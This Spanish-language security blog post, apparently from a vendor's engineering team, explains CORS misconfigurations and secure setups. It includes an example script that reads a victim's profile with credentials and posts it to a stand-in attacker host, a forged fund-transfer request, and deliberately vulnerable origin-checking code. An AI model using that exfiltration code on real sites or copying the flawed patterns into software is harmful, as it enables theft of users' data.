Security
9 min read
2257 views

CORS de Confusión: Cómo un encabezado mal configurado puede poner en riesgo tu seguridad

IT
InstaTunnel Team
Published by our engineering team
CORS de Confusión: Cómo un encabezado mal configurado puede poner en riesgo tu seguridad

Cross-Origin Resource Sharing (CORS) es una de esas tecnologías que los desarrolladores implementan a menudo con prisa, copiando configuraciones desde Stack Overflow solo para hacer desaparecer ese molesto error del navegador. Pero, ¿y si te dijera que tu solución rápida—ese encabezado Access-Control-Allow-Origin: * que parece inocente—podría estar desmantelando silenciosamente toda tu arquitectura de seguridad?

En esta guía completa, profundizaremos en las configuraciones incorrectas de CORS, exploraremos cómo pueden saltarse por completo la Política del Mismo Origen del navegador, y aprenderemos cómo implementar CORS correctamente sin convertir tu API en un buffet abierto para actores maliciosos.

Entendiendo la Base: ¿Qué es CORS y por qué existe?

Antes de explorar las trampas de seguridad, establezcamos una base sólida. CORS es un mecanismo de seguridad del navegador que permite a los servidores especificar explícitamente qué orígenes (dominios) tienen permiso para acceder a sus recursos. Está construido sobre la Política del Mismo Origen (SOP), que es una de las funciones de seguridad fundamentales de la web.

La Política del Mismo Origen evita que scripts que se ejecutan en un origen accedan a datos de otro origen. Un origen se define por la combinación de protocolo (http/https), dominio (example.com) y puerto (80, 443, etc.). Sin SOP, un sitio web malicioso podría hacer solicitudes autenticadas a tu API bancaria usando tus cookies de sesión existentes y robar tus datos financieros.

CORS proporciona una forma controlada de relajar estas restricciones cuando la comunicación legítima entre diferentes orígenes es necesaria. Cuando un navegador realiza una solicitud entre orígenes, incluye un encabezado Origin. Luego, el servidor responde con encabezados CORS que indican si permitir o no la solicitud.

La anatomía de una solicitud CORS

Existen dos tipos de solicitudes CORS: solicitudes simples y solicitudes preflight.

Solicitudes simples se hacen directamente e incluyen: - Métodos GET, HEAD o POST - Solo ciertos encabezados (Accept, Accept-Language, Content-Language, Content-Type con valores específicos) - Content-Type de application/x-www-form-urlencoded, multipart/form-data o text/plain

Solicitudes preflight son más complejas. El navegador primero envía una solicitud OPTIONS para verificar si la solicitud real es segura de enviar. Esto sucede cuando: - Se usan métodos como PUT, DELETE o PATCH - Se incluyen encabezados personalizados - Se usa Content-Type distinto a los permitidos para solicitudes simples

El servidor responde a la preflight con encabezados que indican qué está permitido: - Access-Control-Allow-Origin: qué orígenes pueden acceder al recurso - Access-Control-Allow-Methods: qué métodos HTTP están permitidos - Access-Control-Allow-Headers: qué encabezados personalizados se pueden enviar - Access-Control-Allow-Credentials: si se pueden incluir credenciales (cookies, encabezados de autorización)

La combinación peligrosa: Orígenes comodín con credenciales

Aquí es donde las cosas se vuelven peligrosas. Muchos desarrolladores, enfrentados a errores de CORS, implementan lo que parece una solución sencilla:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Aquí está el hecho crítico: esta combinación está prohibida por la especificación de CORS. Los navegadores rechazarán respuestas que incluyan un origen comodín y credenciales en true. Esto es una medida de seguridad deliberada.

Sin embargo, el verdadero peligro radica en implementaciones bien intencionadas pero defectuosas que intentan sortear esta restricción. Muchos desarrolladores implementan reflexión dinámica del origen—donde el servidor refleja cualquier origen del que proviene la solicitud:

# CÓDIGO PELIGROSO - NO USAR
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'

Esta configuración es funcionalmente equivalente a permitir todos los orígenes con credenciales, destruyendo efectivamente la protección de la Política del Mismo Origen.

Escenarios de ataque en el mundo real

Exploraremos cómo un atacante puede explotar estas configuraciones incorrectas.

Escenario 1: Exfiltración de datos autenticados

Imagina que has construido una API en api.tuempresa.com con una política de CORS permisiva que refleja cualquier origen y permite credenciales. Tu API tiene un endpoint /api/user/profile que devuelve información sensible del usuario.

Un atacante crea un sitio malicioso en evil.com con este JavaScript:

fetch('https://api.tuempresa.com/api/user/profile', {
  method: 'GET',
  credentials: 'include'  // Incluye cookies
})
.then(response => response.json())
.then(data => {
  // Enviar datos robados al servidor del atacante
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Cuando un usuario legítimo visita evil.com mientras está conectado en tu aplicación, esto es lo que sucede:

  1. El navegador del víctima hace una solicitud a tu API
  2. El navegador incluye automáticamente las cookies de autenticación
  3. Tu servidor ve el encabezado Origin: https://evil.com
  4. Tu política de CORS mal configurada refleja este origen
  5. Tu servidor establece Access-Control-Allow-Credentials: true
  6. El navegador permite que el script malicioso lea la respuesta
  7. El atacante exfiltra con éxito los datos del usuario

El usuario nunca sabe que sus datos fueron robados. El ataque es silencioso, invisible y devastador.

Escenario 2: Operaciones que cambian el estado

Las configuraciones incorrectas de CORS no solo permiten leer datos—pueden habilitar a los atacantes a realizar acciones en nombre de los usuarios. Considera un endpoint /api/transfer-funds:

fetch('https://api.banking.com/api/transfer-funds', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    recipient: 'cuenta-atacante',
    amount: 10000
  })
})

Con una política de CORS permisiva, un atacante puede ejecutar acciones autenticadas usando las credenciales del víctima. A diferencia de los ataques CSRF tradicionales (que pueden mitigarse con tokens CSRF), las configuraciones incorrectas de CORS permiten al atacante leer respuestas, haciéndolos mucho más peligrosos.

Patrones comunes de configuración incorrecta

Más allá del problema obvio del comodín, varias configuraciones sutiles pueden crear vulnerabilidades de seguridad.

Patrón 1: Bypass con regex

Algunos desarrolladores intentan incluir dominios en listas blancas usando expresiones regulares pero las implementan incorrectamente:

# CÓDIGO VULNERABLE
import re
allowed_pattern = r'^https://.*\.tuempresa\.com$'
origin = request.headers.get('Origin')
if re.match(allowed_pattern, origin):
    response.headers['Access-Control-Allow-Origin'] = origin

Un atacante puede registrar un dominio como tuempresa.com.evil.com y sortear esta verificación porque el patrón regex no ancla correctamente la parte del dominio.

Patrón 2: Aceptación de origen null

Algunas implementaciones permiten el origen null, lo cual parece inofensivo pero puede ser explotado:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Los atacantes pueden generar solicitudes con un origen null usando iframes en sandbox o cadenas de redirección, permitiéndoles sortear las verificaciones de origen.

Patrón 3: Confiar ciegamente en subdominios

Confiar automáticamente en todos los subdominios puede ser peligroso:

# CÓDIGO ARRIESGADO
origin = request.headers.get('Origin')
if origin.endswith('.tuempresa.com'):
    response.headers['Access-Control-Allow-Origin'] = origin

Si un atacante encuentra una vulnerabilidad XSS en cualquier subdominio (incluidos entornos de staging olvidados o subdominios de contenido generado por usuarios), puede aprovecharlo para atacar tu API principal.

El impacto: más que solo robo de datos

Las configuraciones incorrectas de CORS han sido explotadas en ataques reales con consecuencias graves. Los informes de vulnerabilidades recientes han destacado vulnerabilidades en varias aplicaciones y frameworks donde configuraciones débiles de CORS permitieron accesos no autorizados.

Los impactos incluyen:

  • Fugas de datos: información sensible del usuario, datos personales y secretos empresariales pueden ser exfiltrados
  • Toma de control de cuentas: los atacantes pueden leer tokens de autenticación o información de sesión
  • Transacciones no autorizadas: las aplicaciones financieras están particularmente en riesgo
  • Incumplimiento de normativas: GDPR, HIPAA y otras regulaciones exigen protección adecuada de datos
  • Daño a la reputación: las brechas de seguridad erosionan la confianza del cliente

Informes recientes de CVE, incluyendo vulnerabilidades en frameworks como Flask-CORS, demuestran que incluso librerías populares pueden tener fallos de seguridad relacionados con CORS que requieren parches.

Asegurando tu configuración de CORS: Mejores prácticas

Ahora que entendemos los riesgos, exploremos cómo implementar CORS de forma segura.

1. Mantén una lista blanca explícita

Nunca uses comodines ni reflejes orígenes dinámicamente. En su lugar, mantén una lista blanca estricta:

ALLOWED_ORIGINS = [
    'https://www.tuempresa.com',
    'https://app.tuempresa.com',
    'https://m.tuempresa.com'
]

origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
else:
    # No establecer encabezados CORS para orígenes no autorizados
    pass

2. Usa coincidencia exacta de cadenas

Evita expresiones regulares a menos que sea absolutamente necesario. Si debes usarlas, sé extremadamente cuidadoso:

import re

# Bueno: coincidencia exacta de dominio
allowed_pattern = r'^https://([a-z0-9-]+\.)?tuempresa\.com$'

# Asegúrate de que el patrón esté correctamente anclado y probado
origin = request.headers.get('Origin')
if re.fullmatch(allowed_pattern, origin):  # Usa fullmatch, no match
    response.headers['Access-Control-Allow-Origin'] = origin

3. Separa APIs públicas y privadas

Si tienes recursos públicos (que no requieren autenticación) y recursos privados, usa endpoints o subdominios separados:

  • API pública: public-api.tuempresa.com - Puede usar Access-Control-Allow-Origin: * sin credenciales
  • API privada: api.tuempresa.com - Usa lista blanca estricta con credenciales

4. Implementa autenticación adecuada

No confíes solo en CORS para la seguridad. Implementa autenticación y autorización robustas:

  • Usa tokens de corta duración en lugar de cookies de sesión de larga duración
  • Implementa protección CSRF adecuada para operaciones que cambian estado
  • Valida y autoriza cada solicitud en el servidor
  • Considera usar tokens JWT con claims apropiados

5. Audita tu configuración de CORS regularmente

La seguridad no es una configuración de una sola vez. Las auditorías regulares deben incluir:

  • Revisar todos los orígenes permitidos
  • Verificar dominios obsoletos o no utilizados
  • Probar la configuración de CORS con herramientas de escaneo de seguridad
  • Monitorear solicitudes entre orígenes sospechosas
  • Mantener actualizados frameworks y librerías

6. Usa encabezados de seguridad en conjunto

CORS funciona mejor como parte de un enfoque de seguridad en capas:

Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains

Probando tu configuración de CORS

Antes de desplegar en producción, prueba exhaustivamente tu implementación de CORS:

Pruebas manuales

Usa las herramientas de desarrollo del navegador o curl:

curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: GET" \
     -H "Access-Control-Request-Headers: Content-Type" \
     -X OPTIONS \
     https://api.tuempresa.com/api/user/profile

Revisa los encabezados de respuesta. Una configuración segura no debe establecer Access-Control-Allow-Origin para orígenes no autorizados.

Pruebas automatizadas

Las herramientas de prueba de seguridad pueden ayudar a identificar configuraciones incorrectas de CORS. Varios investigadores de bug bounty han reportado encontrar vulnerabilidades de CORS en 2025, demostrando que estos problemas siguen siendo frecuentes y valiosos de detectar temprano.

Considera programas de bug bounty

Las configuraciones incorrectas de CORS se descubren frecuentemente a través de programas de bug bounty. Considera establecer un programa de divulgación responsable para identificar problemas antes que actores maliciosos.

Consideraciones específicas de frameworks

Diferentes frameworks manejan CORS de manera distinta. Aquí configuraciones seguras para frameworks populares:

Express.js (Node.js):

const cors = require('cors');

const corsOptions = {
  origin: ['https://www.tuempresa.com', 'https://app.tuempresa.com'],
  credentials: true,
  optionsSuccessStatus: 200
};

app.use(cors(corsOptions));

Django (Python):

CORS_ALLOWED_ORIGINS = [
    "https://www.tuempresa.com",
    "https://app.tuempresa.com",
]
CORS_ALLOW_CREDENTIALS = True

Spring Boot (Java):

@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/api/**")
                    .allowedOrigins("https://www.tuempresa.com")
                    .allowCredentials(true);
            }
        };
    }
}

El camino a seguir: Seguridad desde el diseño

Las configuraciones incorrectas de CORS representan una tormenta perfecta de conveniencia, complejidad y consecuencias. La presión por “hacer que funcione” a menudo lleva a los desarrolladores a implementar políticas demasiado permisivas sin entender completamente las implicaciones de seguridad.

Las claves:

  1. Nunca reflejes orígenes dinámicamente sin validación estricta contra una lista blanca explícita
  2. Entiende que CORS no es una función de seguridad—es una relajación de la política de seguridad predeterminada del navegador
  3. Implementa defensa en profundidad: CORS es solo una capa; combínala con autenticación, autorización y encabezados de seguridad adecuados
  4. Audita y prueba regularmente tu configuración de CORS como parte de tu programa de seguridad
  5. Mantente informado sobre vulnerabilidades emergentes y mejores prácticas en la comunidad de seguridad

Las configuraciones incorrectas de CORS siguen siendo descubiertas y explotadas en aplicaciones modernas. Al entender los mecanismos subyacentes y seguir prácticas seguras de implementación, puedes aprovechar la comunicación entre orígenes sin comprometer la seguridad de tus usuarios.

Recuerda: en seguridad, la conveniencia suele ser enemiga de la seguridad. Esos pocos pasos adicionales para implementar una lista blanca adecuada pueden parecer tediosos, pero son la barrera entre los datos de tus usuarios y los atacantes potenciales. No dejes que la confusión de CORS ponga en riesgo tu seguridad—configúralo cuidadosamente, pruébalo a fondo y mantenlo vigilado.


¿Has descubierto configuraciones incorrectas de CORS en tus auditorías de seguridad? La comunidad de seguridad continúa revelando estas vulnerabilidades a través de programas de bug bounty y divulgación responsable. Mantente alerta, asegura tus configuraciones y prioriza siempre la seguridad de tus usuarios sobre la conveniencia del desarrollo.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#CORS misconfiguration, Cross-Origin Resource Sharing, CORS security vulnerability, Access-Control-Allow-Origin, CORS attack, Same-Origin Policy, SOP bypass, CORS exploitation, web API security, RESTful API security, CORS headers security, Access-Control-Allow-Credentials, CORS preflight request, origin validation, CORS whitelist, secure CORS configuration, CORS best practices, API authentication security, cross-origin attacks, CORS data exfiltration, credential theft, session hijacking, CORS bypass techniques, web application security, browser security policy, HTTP security headers, CORS middleware, origin reflection attack, wildcard origin vulnerability, CORS null origin, regex bypass vulnerability, subdomain security, XSS and CORS, CSRF vs CORS, authentication bypass, API exploitation techniques, CORS testing, security audit CORS, CORS vulnerability scanner, penetration testing CORS, OWASP security, web security vulnerabilities, API hardening, defense in depth, security misconfiguration, CORS implementation guide, Express.js CORS, Node.js CORS security, Django CORS configuration, Django CORS whitelist, Spring Boot CORS, Spring Security CORS, Flask-CORS vulnerability, React CORS issues, Angular CORS configuration, Vue.js CORS, FastAPI CORS security, Laravel CORS, ASP.NET Core CORS, Rails CORS security, PHP CORS configuration, JavaScript security, frontend security, backend security, full-stack security, microservices security, serverless API security, cloud API security, AWS API Gateway CORS, Azure API CORS, Google Cloud CORS, REST API security, GraphQL CORS, webhook security, third-party API integration, mobile API security, SPA security, single page application security, progressive web app security, CORS error fix, CORS debugging, browser developer tools, CORS troubleshooting, CORS configuration examples, secure API development, API security checklist, web security checklist, CORS security audit, CORS compliance, GDPR compliance API, HIPAA API security, PCI DSS compliance, data protection API, privacy regulations, fintech API security, healthcare API security, banking API security, payment gateway security, e-commerce API security, SaaS security, enterprise API security, CORS CVE vulnerabilities, CORS security advisories, bug bounty CORS, responsible disclosure, security researcher, ethical hacking, white hat hacking, cybersecurity best practices, application security, AppSec, DevSecOps, secure SDLC, security by design, threat modeling, vulnerability assessment, security testing, SAST DAST, API security testing, Burp Suite CORS, OWASP ZAP, security tools, CORS attack vectors, privilege escalation, lateral movement, data breach prevention, incident response, security monitoring, SOC analyst, blue team defense, red team testing, adversary simulation, attack surface reduction, zero trust architecture, API gateway security, service mesh security, Kubernetes API security, Docker API security, container security, CI/CD security, pipeline security, infrastructure security, network security, endpoint security, identity and access management, IAM security, OAuth CORS, JWT security, token-based authentication, API key security, bearer token security, certificate pinning, TLS security, HTTPS enforcement, secure communication, encrypted API, data in transit, confidentiality integrity availability, CIA triad, risk assessment, security posture, compliance audit, security framework, NIST cybersecurity, ISO 27001, security standards, web security training, developer security training, secure coding practices, code review security, static analysis, dynamic analysis, runtime protection, WAF configuration, web application firewall, rate limiting, DDoS protection, bot protection, API throttling, security headers best practices, Content-Security-Policy, X-Frame-Options, HSTS, security header scanner, Mozilla Observatory, Security Headers, Qualys SSL Labs, vulnerability disclosure, CVE database, NVD, exploit database, security blog, InfoSec, cybersecurity news, security conference, Black Hat, DEF CON, OWASP events, security community, Stack Overflow security, GitHub security, npm security, package vulnerability, dependency scanning, supply chain security, software composition analysis, open source security, library vulnerabilities, patch management, security updates, version control security, Git security, secrets management, credential scanning, API documentation security, Swagger security, OpenAPI security, Postman security, API testing security, integration testing security, end-to-end testing security, security regression testing, continuous security, shift left security, security automation, security orchestration, SOAR platform, threat intelligence, security analytics, log analysis, SIEM integration, security metrics, KPI security, security dashboard, risk management, security governance, security policy, security awareness, phishing prevention, social engineering, insider threat, access control, principle of least privilege, separation of duties, security architecture, reference architecture, security patterns, anti-patterns, security debt, technical debt security, legacy system security, modernization security, cloud migration security, digital transformation security, API economy security, platform security, ecosystem security

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles